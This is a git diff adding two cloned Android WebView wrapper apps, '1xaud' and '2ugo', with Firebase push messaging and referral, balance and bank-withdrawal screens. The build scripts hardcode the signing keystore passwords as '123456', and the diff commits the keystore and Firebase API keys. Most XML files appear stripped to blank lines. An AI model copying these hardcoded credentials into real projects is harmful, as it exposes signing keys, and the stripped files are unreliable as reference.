diff --git a/1xaud/.gitignore b/1xaud/.gitignore
new file mode 100644
index 0000000..956c004
--- /dev/null
+++ b/1xaud/.gitignore
@@ -0,0 +1,2 @@
+/build
+/release
\ No newline at end of file
diff --git a/1xaud/build.gradle b/1xaud/build.gradle
new file mode 100644
index 0000000..435b2d8
--- /dev/null
+++ b/1xaud/build.gradle
@@ -0,0 +1,80 @@
+plugins {
+ id 'com.android.application'
+ id 'com.google.gms.google-services'
+}
+
+android {
+ compileSdkVersion 31
+ buildToolsVersion "30.0.3"
+ defaultConfig {
+ applicationId "com.xyz.xaud"
+ minSdkVersion 24
+ targetSdkVersion 31
+ versionCode rootProject.ext.versionCode
+ versionName rootProject.ext.versionName
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ }
+
+ signingConfigs {
+ debug {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ release {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ }
+
+ buildTypes {
+ release {
+ signingConfig signingConfigs.release
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ applicationVariants.all { variant ->
+ variant.outputs.all {
+// def appName = "meemee99"
+ def appName = "1xauddgdskgjhggfddhgfdf"
+
+ def outputDir = new File(rootProject.ext.outputPath)
+ // 创建输出目录
+ outputDir.mkdirs()
+ def outputFileName = "${appName}.apk"
+ // 设置输出文件名
+ setOutputFileName(outputFileName)
+ // 计算新的输出文件
+ def newOutputFile = new File(outputDir, outputFileName)
+ // 如果新的输出目录不存在,则创建它
+ newOutputFile.parentFile.mkdirs()
+ // 在构建完成后将 APK 复制到新位置
+ variant.assemble.doLast {
+ try {
+ java.nio.file.Files.copy(
+ outputFile.toPath(),
+ newOutputFile.toPath(),
+ java.nio.file.StandardCopyOption.REPLACE_EXISTING
+ )
+ println "Success to copy APK !!!"
+ } catch (java.io.IOException e) {
+ println "Failed to copy APK: ${e.message}"
+ }
+ }
+ }
+ }
+
+}
+
+dependencies {
+ implementation project(path: ':base_theme')
+}
\ No newline at end of file
diff --git a/1xaud/google-services.json b/1xaud/google-services.json
new file mode 100644
index 0000000..dcc9f26
--- /dev/null
+++ b/1xaud/google-services.json
@@ -0,0 +1,29 @@
+{
+ "project_info": {
+ "project_number": "110734349028",
+ "project_id": "xaud-f439a",
+ "storage_bucket": "xaud-f439a.firebasestorage.app"
+ },
+ "client": [
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:110734349028:android:9b6cac05afec44f78012f1",
+ "android_client_info": {
+ "package_name": "com.xyz.xaud"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyC3FTnvVrdDzPXlT_7U5sEhAG5LLnbYg7s"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ }
+ ],
+ "configuration_version": "1"
+}
\ No newline at end of file
diff --git a/1xaud/justlet.jks b/1xaud/justlet.jks
new file mode 100644
index 0000000..a33b839
Binary files /dev/null and b/1xaud/justlet.jks differ
diff --git a/1xaud/proguard-rules.pro b/1xaud/proguard-rules.pro
new file mode 100644
index 0000000..107b7ee
--- /dev/null
+++ b/1xaud/proguard-rules.pro
@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+ *;
+}
+
+-keep class com.tencent.tbs.** {
+ *;
+}
\ No newline at end of file
diff --git a/1xaud/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/1xaud/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
new file mode 100644
index 0000000..44b9f39
--- /dev/null
+++ b/1xaud/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+ }
+}
\ No newline at end of file
diff --git a/1xaud/src/main/AndroidManifest.xml b/1xaud/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..f816585
--- /dev/null
+++ b/1xaud/src/main/AndroidManifest.xml
@@ -0,0 +1,92 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/1xaud/src/main/ic_launcher-playstore.png b/1xaud/src/main/ic_launcher-playstore.png
new file mode 100644
index 0000000..6dfc6f7
Binary files /dev/null and b/1xaud/src/main/ic_launcher-playstore.png differ
diff --git a/1xaud/src/main/java/com/xyz/xaud/MainActivity.java b/1xaud/src/main/java/com/xyz/xaud/MainActivity.java
new file mode 100644
index 0000000..76bb35c
--- /dev/null
+++ b/1xaud/src/main/java/com/xyz/xaud/MainActivity.java
@@ -0,0 +1,82 @@
+package com.xyz.xaud;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import com.web.base.LogUtils;
+import com.web.base.MainActivity2;
+import com.google.firebase.messaging.FirebaseMessaging;
+
+public class MainActivity extends MainActivity2 {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ initConfig();
+ super.onCreate(savedInstanceState);
+ initWinwdowLogoConfig();
+ registerFCM();
+ }
+
+ /**
+ * 注册FCM
+ */
+ private void registerFCM() {
+ //订阅主题
+ try {
+ FirebaseMessaging.getInstance().subscribeToTopic("demo")
+ .addOnCompleteListener(task -> {
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
+ });
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * 用于修改大背景渐变色 不设置
+ * 大背景就是 windows_color 的颜色
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initWinwdowLogoConfig() {
+ setBackDrawables(R.drawable.big_bg);
+ setImageView(getString(R.string.is_round).equals("1"));
+ }
+
+ /**
+ * 基础配置都在这里
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initConfig() {
+
+ //===========================以下是APP的配置信息 都写在 app_config.xml中==================================
+ userId = Integer.parseInt(getString(R.string.userId));
+ saveInt(MainActivity.this,"user_code",userId);
+ saveInt(MainActivity.this,"version_code",getVersion());
+ saveString(this, "base_url",getString(R.string.base_url));
+ //网页的底部NavigationBar颜色
+ saveInt(this, "style_color_int", getColor(R.color.style_color));
+ //页面的大背景颜色
+ saveInt(this, "windows_color_int", getColor(R.color.windows_color));
+ //任务栏的文字颜色 0 黑 1白 默认黑
+ saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white)));
+ saveInt(MainActivity.this,"hasContact",Integer.parseInt(getString(R.string.has_contact)));
+
+ //===========================以上是APP的配置信息 都写在 app_config.xml中==================================
+ }
+
+
+ public int getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ int versionCode = packageInfo.versionCode; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return 0;
+ }
+ }
+}
diff --git a/bantuan88/src/main/java/com/web/bant/MyFirebaseMessageingService.java b/1xaud/src/main/java/com/xyz/xaud/MyFirebaseMessageingService.java
similarity index 99%
rename from bantuan88/src/main/java/com/web/bant/MyFirebaseMessageingService.java
rename to 1xaud/src/main/java/com/xyz/xaud/MyFirebaseMessageingService.java
index f9c4f56..c9d0e66 100644
--- a/bantuan88/src/main/java/com/web/bant/MyFirebaseMessageingService.java
+++ b/1xaud/src/main/java/com/xyz/xaud/MyFirebaseMessageingService.java
@@ -1,4 +1,4 @@
-package com.web.bant;
+package com.xyz.xaud;
import android.app.NotificationChannel;
import android.app.NotificationManager;
diff --git a/1xaud/src/main/java/com/xyz/xaud/WebApplication.java b/1xaud/src/main/java/com/xyz/xaud/WebApplication.java
new file mode 100644
index 0000000..1db1776
--- /dev/null
+++ b/1xaud/src/main/java/com/xyz/xaud/WebApplication.java
@@ -0,0 +1,16 @@
+package com.xyz.xaud;
+
+import android.app.Application;
+import android.content.Context;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ }
+}
diff --git a/1xaud/src/main/res/drawable/big_bg.xml b/1xaud/src/main/res/drawable/big_bg.xml
new file mode 100644
index 0000000..2e41ced
--- /dev/null
+++ b/1xaud/src/main/res/drawable/big_bg.xml
@@ -0,0 +1,8 @@
+
+
+
+
\ No newline at end of file
diff --git a/1xaud/src/main/res/mipmap-xxhdpi/app_logo.png b/1xaud/src/main/res/mipmap-xxhdpi/app_logo.png
new file mode 100644
index 0000000..f4db0e9
Binary files /dev/null and b/1xaud/src/main/res/mipmap-xxhdpi/app_logo.png differ
diff --git a/1xaud/src/main/res/values-en/strings.xml b/1xaud/src/main/res/values-en/strings.xml
new file mode 100644
index 0000000..7a00b5e
--- /dev/null
+++ b/1xaud/src/main/res/values-en/strings.xml
@@ -0,0 +1,52 @@
+
+
+ Please Set Your Password
+ Cancel
+ Sure
+ New Version Update
+ Next Update
+ Update Immediately
+ Click to close notification
+ Click to re-download
+ Download failed
+ Click to install
+ Download completed
+ Downloading...
+ Version update
+ Downloading game
+ Getting download data...
+ Version update
+ Downloading game
+ Need to turn on mobile phone notification permission
+ Exit
+ Setting
+ Tip
+ Please enter the invitation code
+ My invitation code:
+ Superior invitation code:
+ Total number of invites:
+ App download link:
+ Share
+ Check Invitation Records
+ Invitation Records
+ Total number of invitees: %d
+ No Data
+ Withdrawal Record
+ Withdrawal Application
+ Edit Bank Card Information
+ 60
+ Name:
+ Please enter the bank card name
+ Bank card account:
+ Please enter the bank card account
+ Country:
+ Please select a country
+ Bank Name:
+ Please select a bank name
+ Note: Please enter the country code before selecting the bank name!
+ Balance: %s
+ Total Earnings: %s
+ Amount: %s
+ Please enter the withdrawal amount
+ Withdrawal application has been submitted
+
\ No newline at end of file
diff --git a/1xaud/src/main/res/values-night/themes.xml b/1xaud/src/main/res/values-night/themes.xml
new file mode 100644
index 0000000..3475a91
--- /dev/null
+++ b/1xaud/src/main/res/values-night/themes.xml
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/1xaud/src/main/res/values/app_config.xml b/1xaud/src/main/res/values/app_config.xml
new file mode 100644
index 0000000..e4a08a0
--- /dev/null
+++ b/1xaud/src/main/res/values/app_config.xml
@@ -0,0 +1,20 @@
+
+
+
+
+ 1XAUD
+
+ 241
+
+ https://1xaud.com/
+
+ 0
+
+ 0
+
+ 0
+
+ #040914
+
+ #1d4268
+
\ No newline at end of file
diff --git a/1xaud/src/main/res/values/colors.xml b/1xaud/src/main/res/values/colors.xml
new file mode 100644
index 0000000..a4e1222
--- /dev/null
+++ b/1xaud/src/main/res/values/colors.xml
@@ -0,0 +1,16 @@
+
+
+ #FFFFFF
+ #FFFFFF
+ #FFFFFF
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+ #EF4723
+ #1251a1
+ #2C2C2E
+ #FFA722
+ #434343
+ #BCBCBC
+
\ No newline at end of file
diff --git a/1xaud/src/main/res/values/strings.xml b/1xaud/src/main/res/values/strings.xml
new file mode 100644
index 0000000..0ffb42d
--- /dev/null
+++ b/1xaud/src/main/res/values/strings.xml
@@ -0,0 +1,53 @@
+
+ 请输入6位密码
+ 取消
+ 确定
+ 版本更新
+ 下次更新
+ 立即更新
+ 点击关闭通知
+ 点击重新下载
+ 下载失败
+ 点击安装
+ 下载完成
+ 正在下载…
+ 版本更新
+ 下载游戏中
+ 版本更新
+ 下载游戏中
+ 正在获取下载数据…
+ 需要打开手机通知权限
+ 退出
+ 设置
+ 提示
+ 请输入邀请码
+ 我的邀请码:
+ 上级邀请码:
+ 总邀请人数:
+ 邀请您下载:
+ 分享
+ 查看邀请记录
+ 邀请记录
+ 总邀请人数: %d
+ 暂无数据
+ 提现记录
+ 提现申请
+ 编辑银行卡信息
+ 86
+ 持卡人姓名:
+ 请输入持卡人姓名
+ 国家地区:
+ 请选择国家地区
+ 开户行名称:
+ 请选择开户行名称
+ 银行户口:
+ 请输入银行卡户口
+ (注:请先输入国家区号再选择开户行名称!)
+ 余额: %s
+ 总收益: %s
+ 金额: %s
+ 请输入提现金额
+ 提现申请已提交
+
+
+
\ No newline at end of file
diff --git a/1xaud/src/main/res/values/themes.xml b/1xaud/src/main/res/values/themes.xml
new file mode 100644
index 0000000..8947801
--- /dev/null
+++ b/1xaud/src/main/res/values/themes.xml
@@ -0,0 +1,90 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/1xaud/src/main/res/xml/app_updater_paths.xml b/1xaud/src/main/res/xml/app_updater_paths.xml
new file mode 100644
index 0000000..1254450
--- /dev/null
+++ b/1xaud/src/main/res/xml/app_updater_paths.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/1xaud/src/main/res/xml/network_security_config.xml b/1xaud/src/main/res/xml/network_security_config.xml
new file mode 100644
index 0000000..dca93c0
--- /dev/null
+++ b/1xaud/src/main/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/1xaud/src/main/res/xml/provider_paths.xml b/1xaud/src/main/res/xml/provider_paths.xml
new file mode 100644
index 0000000..c9a897a
--- /dev/null
+++ b/1xaud/src/main/res/xml/provider_paths.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/1xaud/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/1xaud/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
new file mode 100644
index 0000000..3259554
--- /dev/null
+++ b/1xaud/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() {
+ assertEquals(4, 2 + 2);
+ }
+
+ @Test
+ public void TestPattern(){
+//
+ Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+ String a="+45.5";
+ boolean matches = compile.matcher(a).matches();
+ System.out.println(matches);
+ String result = compile.matcher(a).replaceAll("");
+ System.out.println(result);
+
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/2ugo/.gitignore b/2ugo/.gitignore
new file mode 100644
index 0000000..956c004
--- /dev/null
+++ b/2ugo/.gitignore
@@ -0,0 +1,2 @@
+/build
+/release
\ No newline at end of file
diff --git a/2ugo/build.gradle b/2ugo/build.gradle
new file mode 100644
index 0000000..79b15ec
--- /dev/null
+++ b/2ugo/build.gradle
@@ -0,0 +1,80 @@
+plugins {
+ id 'com.android.application'
+ id 'com.google.gms.google-services'
+}
+
+android {
+ compileSdkVersion 31
+ buildToolsVersion "30.0.3"
+ defaultConfig {
+ applicationId "com.xyz.ugo2"
+ minSdkVersion 24
+ targetSdkVersion 31
+ versionCode rootProject.ext.versionCode
+ versionName rootProject.ext.versionName
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ }
+
+ signingConfigs {
+ debug {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ release {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ }
+
+ buildTypes {
+ release {
+ signingConfig signingConfigs.release
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ applicationVariants.all { variant ->
+ variant.outputs.all {
+// def appName = "meemee99"
+ def appName = "kfkhjfkjhkfgjhklggfgffghttt"
+
+ def outputDir = new File(rootProject.ext.outputPath)
+ // 创建输出目录
+ outputDir.mkdirs()
+ def outputFileName = "${appName}.apk"
+ // 设置输出文件名
+ setOutputFileName(outputFileName)
+ // 计算新的输出文件
+ def newOutputFile = new File(outputDir, outputFileName)
+ // 如果新的输出目录不存在,则创建它
+ newOutputFile.parentFile.mkdirs()
+ // 在构建完成后将 APK 复制到新位置
+ variant.assemble.doLast {
+ try {
+ java.nio.file.Files.copy(
+ outputFile.toPath(),
+ newOutputFile.toPath(),
+ java.nio.file.StandardCopyOption.REPLACE_EXISTING
+ )
+ println "Success to copy APK !!!"
+ } catch (java.io.IOException e) {
+ println "Failed to copy APK: ${e.message}"
+ }
+ }
+ }
+ }
+
+}
+
+dependencies {
+ implementation project(path: ':base_theme')
+}
\ No newline at end of file
diff --git a/2ugo/google-services.json b/2ugo/google-services.json
new file mode 100644
index 0000000..2d3c73d
--- /dev/null
+++ b/2ugo/google-services.json
@@ -0,0 +1,29 @@
+{
+ "project_info": {
+ "project_number": "24236491129",
+ "project_id": "ugo-6ed39",
+ "storage_bucket": "ugo-6ed39.firebasestorage.app"
+ },
+ "client": [
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:24236491129:android:a5a7b5407c4b454c7befa8",
+ "android_client_info": {
+ "package_name": "com.xyz.ugo2"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyBCIJB3020JjPwFAj_Gtoq13YV57xP1JsY"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ }
+ ],
+ "configuration_version": "1"
+}
\ No newline at end of file
diff --git a/2ugo/justlet.jks b/2ugo/justlet.jks
new file mode 100644
index 0000000..a33b839
Binary files /dev/null and b/2ugo/justlet.jks differ
diff --git a/2ugo/proguard-rules.pro b/2ugo/proguard-rules.pro
new file mode 100644
index 0000000..107b7ee
--- /dev/null
+++ b/2ugo/proguard-rules.pro
@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+ *;
+}
+
+-keep class com.tencent.tbs.** {
+ *;
+}
\ No newline at end of file
diff --git a/2ugo/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/2ugo/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
new file mode 100644
index 0000000..44b9f39
--- /dev/null
+++ b/2ugo/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+ }
+}
\ No newline at end of file
diff --git a/2ugo/src/main/AndroidManifest.xml b/2ugo/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..cbbc0a1
--- /dev/null
+++ b/2ugo/src/main/AndroidManifest.xml
@@ -0,0 +1,92 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/maucuci/src/main/java/com/xyz/maucuci/MainActivity.java b/2ugo/src/main/java/com/xyz/ugo2/MainActivity.java
similarity index 99%
rename from maucuci/src/main/java/com/xyz/maucuci/MainActivity.java
rename to 2ugo/src/main/java/com/xyz/ugo2/MainActivity.java
index 6eb725f..c91e9e6 100644
--- a/maucuci/src/main/java/com/xyz/maucuci/MainActivity.java
+++ b/2ugo/src/main/java/com/xyz/ugo2/MainActivity.java
@@ -1,4 +1,4 @@
-package com.xyz.maucuci;
+package com.xyz.ugo2;
import android.content.pm.PackageInfo;
diff --git a/gk9/src/main/java/com/web/gk9/MyFirebaseMessageingService.java b/2ugo/src/main/java/com/xyz/ugo2/MyFirebaseMessageingService.java
similarity index 99%
rename from gk9/src/main/java/com/web/gk9/MyFirebaseMessageingService.java
rename to 2ugo/src/main/java/com/xyz/ugo2/MyFirebaseMessageingService.java
index 0595037..3af152a 100644
--- a/gk9/src/main/java/com/web/gk9/MyFirebaseMessageingService.java
+++ b/2ugo/src/main/java/com/xyz/ugo2/MyFirebaseMessageingService.java
@@ -1,4 +1,4 @@
-package com.web.gk9;
+package com.xyz.ugo2;
import android.app.NotificationChannel;
import android.app.NotificationManager;
diff --git a/maucuci/src/main/java/com/xyz/maucuci/WebApplication.java b/2ugo/src/main/java/com/xyz/ugo2/WebApplication.java
similarity index 92%
rename from maucuci/src/main/java/com/xyz/maucuci/WebApplication.java
rename to 2ugo/src/main/java/com/xyz/ugo2/WebApplication.java
index b5e2ef1..33fad6e 100644
--- a/maucuci/src/main/java/com/xyz/maucuci/WebApplication.java
+++ b/2ugo/src/main/java/com/xyz/ugo2/WebApplication.java
@@ -1,4 +1,4 @@
-package com.xyz.maucuci;
+package com.xyz.ugo2;
import android.app.Application;
import android.content.Context;
diff --git a/2ugo/src/main/res/drawable/big_bg.xml b/2ugo/src/main/res/drawable/big_bg.xml
new file mode 100644
index 0000000..2e41ced
--- /dev/null
+++ b/2ugo/src/main/res/drawable/big_bg.xml
@@ -0,0 +1,8 @@
+
+
+
+
\ No newline at end of file
diff --git a/2ugo/src/main/res/mipmap-xxhdpi/app_logo.png b/2ugo/src/main/res/mipmap-xxhdpi/app_logo.png
new file mode 100644
index 0000000..60cecda
Binary files /dev/null and b/2ugo/src/main/res/mipmap-xxhdpi/app_logo.png differ
diff --git a/2ugo/src/main/res/values-en/strings.xml b/2ugo/src/main/res/values-en/strings.xml
new file mode 100644
index 0000000..7a00b5e
--- /dev/null
+++ b/2ugo/src/main/res/values-en/strings.xml
@@ -0,0 +1,52 @@
+
+
+ Please Set Your Password
+ Cancel
+ Sure
+ New Version Update
+ Next Update
+ Update Immediately
+ Click to close notification
+ Click to re-download
+ Download failed
+ Click to install
+ Download completed
+ Downloading...
+ Version update
+ Downloading game
+ Getting download data...
+ Version update
+ Downloading game
+ Need to turn on mobile phone notification permission
+ Exit
+ Setting
+ Tip
+ Please enter the invitation code
+ My invitation code:
+ Superior invitation code:
+ Total number of invites:
+ App download link:
+ Share
+ Check Invitation Records
+ Invitation Records
+ Total number of invitees: %d
+ No Data
+ Withdrawal Record
+ Withdrawal Application
+ Edit Bank Card Information
+ 60
+ Name:
+ Please enter the bank card name
+ Bank card account:
+ Please enter the bank card account
+ Country:
+ Please select a country
+ Bank Name:
+ Please select a bank name
+ Note: Please enter the country code before selecting the bank name!
+ Balance: %s
+ Total Earnings: %s
+ Amount: %s
+ Please enter the withdrawal amount
+ Withdrawal application has been submitted
+
\ No newline at end of file
diff --git a/2ugo/src/main/res/values-night/themes.xml b/2ugo/src/main/res/values-night/themes.xml
new file mode 100644
index 0000000..3475a91
--- /dev/null
+++ b/2ugo/src/main/res/values-night/themes.xml
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/2ugo/src/main/res/values/app_config.xml b/2ugo/src/main/res/values/app_config.xml
new file mode 100644
index 0000000..1e9be5c
--- /dev/null
+++ b/2ugo/src/main/res/values/app_config.xml
@@ -0,0 +1,18 @@
+
+
+
+
+ 2UGO
+
+ 234
+
+ https://2ugo.com/
+
+ 1
+
+ 0
+
+ #860001
+
+ #000d2f
+
\ No newline at end of file
diff --git a/2ugo/src/main/res/values/colors.xml b/2ugo/src/main/res/values/colors.xml
new file mode 100644
index 0000000..a4e1222
--- /dev/null
+++ b/2ugo/src/main/res/values/colors.xml
@@ -0,0 +1,16 @@
+
+
+ #FFFFFF
+ #FFFFFF
+ #FFFFFF
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+ #EF4723
+ #1251a1
+ #2C2C2E
+ #FFA722
+ #434343
+ #BCBCBC
+
\ No newline at end of file
diff --git a/2ugo/src/main/res/values/strings.xml b/2ugo/src/main/res/values/strings.xml
new file mode 100644
index 0000000..0ffb42d
--- /dev/null
+++ b/2ugo/src/main/res/values/strings.xml
@@ -0,0 +1,53 @@
+
+ 请输入6位密码
+ 取消
+ 确定
+ 版本更新
+ 下次更新
+ 立即更新
+ 点击关闭通知
+ 点击重新下载
+ 下载失败
+ 点击安装
+ 下载完成
+ 正在下载…
+ 版本更新
+ 下载游戏中
+ 版本更新
+ 下载游戏中
+ 正在获取下载数据…
+ 需要打开手机通知权限
+ 退出
+ 设置
+ 提示
+ 请输入邀请码
+ 我的邀请码:
+ 上级邀请码:
+ 总邀请人数:
+ 邀请您下载:
+ 分享
+ 查看邀请记录
+ 邀请记录
+ 总邀请人数: %d
+ 暂无数据
+ 提现记录
+ 提现申请
+ 编辑银行卡信息
+ 86
+ 持卡人姓名:
+ 请输入持卡人姓名
+ 国家地区:
+ 请选择国家地区
+ 开户行名称:
+ 请选择开户行名称
+ 银行户口:
+ 请输入银行卡户口
+ (注:请先输入国家区号再选择开户行名称!)
+ 余额: %s
+ 总收益: %s
+ 金额: %s
+ 请输入提现金额
+ 提现申请已提交
+
+
+
\ No newline at end of file
diff --git a/2ugo/src/main/res/values/themes.xml b/2ugo/src/main/res/values/themes.xml
new file mode 100644
index 0000000..8947801
--- /dev/null
+++ b/2ugo/src/main/res/values/themes.xml
@@ -0,0 +1,90 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/2ugo/src/main/res/xml/app_updater_paths.xml b/2ugo/src/main/res/xml/app_updater_paths.xml
new file mode 100644
index 0000000..1254450
--- /dev/null
+++ b/2ugo/src/main/res/xml/app_updater_paths.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/2ugo/src/main/res/xml/network_security_config.xml b/2ugo/src/main/res/xml/network_security_config.xml
new file mode 100644
index 0000000..dca93c0
--- /dev/null
+++ b/2ugo/src/main/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/2ugo/src/main/res/xml/provider_paths.xml b/2ugo/src/main/res/xml/provider_paths.xml
new file mode 100644
index 0000000..c9a897a
--- /dev/null
+++ b/2ugo/src/main/res/xml/provider_paths.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/2ugo/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/2ugo/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
new file mode 100644
index 0000000..3259554
--- /dev/null
+++ b/2ugo/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
